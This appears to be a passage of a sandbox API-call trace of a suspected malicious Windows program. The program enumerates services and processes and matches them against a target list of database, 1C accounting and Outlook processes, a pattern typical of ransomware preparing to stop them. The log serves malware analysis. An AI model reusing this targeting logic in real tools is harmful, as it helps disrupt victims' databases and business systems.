[0046.724] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x11e4) returned 0x7190a0 [0046.724] EnumServicesStatusExW (in: hSCManager=0x73fdb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7190a0, cbBufSize=0x11e4, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7190a0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0046.725] CloseServiceHandle (hSCObject=0x73fdb8) returned 1 [0046.725] lstrlenW (lpString="Appinfo") returned 7 [0046.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0046.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0046.725] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0046.725] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0046.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0046.725] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0046.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0046.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0046.726] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0046.726] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0046.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0046.726] lstrlenW (lpString="AudioSrv") returned 8 [0046.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0046.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0046.726] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0046.726] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0046.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0046.726] lstrlenW (lpString="BFE") returned 3 [0046.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0046.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0046.726] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0046.726] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0046.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0046.726] lstrlenW (lpString="CryptSvc") returned 8 [0046.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0046.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0046.726] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0046.726] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0046.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0046.726] lstrlenW (lpString="CscService") returned 10 [0046.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0046.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0046.726] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0046.726] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0046.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0046.726] lstrlenW (lpString="DcomLaunch") returned 10 [0046.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0046.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0046.726] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0046.726] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0046.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0046.726] lstrlenW (lpString="Dhcp") returned 4 [0046.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0046.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0046.727] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0046.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0046.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0046.727] lstrlenW (lpString="Dnscache") returned 8 [0046.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0046.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0046.727] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0046.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0046.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0046.727] lstrlenW (lpString="DPS") returned 3 [0046.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0046.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0046.727] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0046.727] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0046.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0046.727] lstrlenW (lpString="eventlog") returned 8 [0046.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0046.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0046.727] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0046.727] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0046.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0046.727] lstrlenW (lpString="EventSystem") returned 11 [0046.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0046.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0046.727] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0046.727] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0046.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0046.727] lstrlenW (lpString="gpsvc") returned 5 [0046.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0046.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0046.727] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0046.727] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0046.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0046.728] lstrlenW (lpString="iphlpsvc") returned 8 [0046.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0046.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0046.728] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0046.728] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0046.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0046.728] lstrlenW (lpString="LanmanServer") returned 12 [0046.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0046.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0046.728] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0046.728] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0046.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0046.728] lstrlenW (lpString="LanmanWorkstation") returned 17 [0046.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0046.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0046.728] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0046.728] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0046.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0046.728] lstrlenW (lpString="lmhosts") returned 7 [0046.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0046.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0046.728] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0046.728] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0046.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0046.728] lstrlenW (lpString="MMCSS") returned 5 [0046.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0046.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0046.728] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0046.728] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0046.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0046.728] lstrlenW (lpString="MpsSvc") returned 6 [0046.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0046.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0046.728] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0046.728] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0046.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0046.729] lstrlenW (lpString="Netman") returned 6 [0046.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0046.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0046.729] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0046.729] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0046.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0046.729] lstrlenW (lpString="netprofm") returned 8 [0046.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0046.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0046.729] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0046.729] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0046.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0046.729] lstrlenW (lpString="NlaSvc") returned 6 [0046.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0046.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0046.729] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0046.729] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0046.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0046.729] lstrlenW (lpString="nsi") returned 3 [0046.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0046.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0046.729] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0046.729] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0046.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0046.729] lstrlenW (lpString="PcaSvc") returned 6 [0046.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0046.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0046.729] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0046.729] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0046.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0046.729] lstrlenW (lpString="PlugPlay") returned 8 [0046.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0046.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0046.729] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0046.729] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0046.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0046.730] lstrlenW (lpString="Power") returned 5 [0046.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0046.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0046.730] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0046.730] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0046.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0046.730] lstrlenW (lpString="ProfSvc") returned 7 [0046.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0046.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0046.730] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0046.730] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0046.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0046.730] lstrlenW (lpString="RpcEptMapper") returned 12 [0046.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0046.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0046.730] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0046.730] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0046.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0046.730] lstrlenW (lpString="RpcSs") returned 5 [0046.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0046.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0046.730] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0046.730] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0046.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0046.730] lstrlenW (lpString="SamSs") returned 5 [0046.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0046.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0046.730] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0046.730] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0046.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0046.730] lstrlenW (lpString="Schedule") returned 8 [0046.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0046.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0046.730] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0046.730] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0046.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0046.731] lstrlenW (lpString="SENS") returned 4 [0046.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0046.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0046.731] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0046.731] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0046.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0046.731] lstrlenW (lpString="ShellHWDetection") returned 16 [0046.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0046.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0046.731] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0046.731] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0046.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0046.731] lstrlenW (lpString="Spooler") returned 7 [0046.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0046.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0046.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0046.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0046.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0046.731] lstrlenW (lpString="SysMain") returned 7 [0046.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0046.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0046.731] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0046.731] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0046.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0046.731] lstrlenW (lpString="Themes") returned 6 [0046.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0046.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0046.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0046.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0046.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0046.731] lstrlenW (lpString="TrkWks") returned 6 [0046.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0046.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0046.731] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0046.731] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0046.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0046.732] lstrlenW (lpString="UxSms") returned 5 [0046.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0046.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0046.732] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0046.732] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0046.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0046.732] lstrlenW (lpString="WdiServiceHost") returned 14 [0046.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0046.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0046.732] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0046.732] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0046.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0046.732] lstrlenW (lpString="WdiSystemHost") returned 13 [0046.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0046.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0046.732] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0046.732] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0046.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0046.732] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0046.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0046.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0046.732] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0046.732] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0046.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0046.732] lstrlenW (lpString="Winmgmt") returned 7 [0046.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0046.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0046.732] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0046.732] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0046.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0046.732] lstrlenW (lpString="WPDBusEnum") returned 10 [0046.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0046.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0046.732] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0046.732] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0046.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0046.733] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x7190a0 | out: hHeap=0x6c0000) returned 1 [0046.733] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x198 [0046.735] Process32FirstW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0046.735] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0046.736] lstrlenW (lpString="System") returned 6 [0046.736] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0046.736] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0046.736] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0046.736] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0046.736] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0046.736] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0046.736] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0046.736] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0046.736] lstrlenW (lpString="smss.exe") returned 8 [0046.737] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0046.737] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0046.737] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0046.737] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0046.737] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0046.737] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0046.737] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0046.737] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.737] lstrlenW (lpString="csrss.exe") returned 9 [0046.737] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0046.737] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0046.737] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0046.737] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0046.737] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0046.737] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0046.737] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0046.737] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0046.738] lstrlenW (lpString="wininit.exe") returned 11 [0046.738] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0046.738] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0046.738] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0046.738] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0046.738] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0046.738] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0046.738] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0046.738] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.739] lstrlenW (lpString="csrss.exe") returned 9 [0046.739] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0046.739] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0046.739] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0046.739] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0046.739] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0046.739] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0046.739] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0046.739] lstrlenW (lpString="winlogon.exe") returned 12 [0046.739] Process32NextW (in: hSnapshot=0x198, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0046.740] lstrlenW (lpString="services.exe") returned 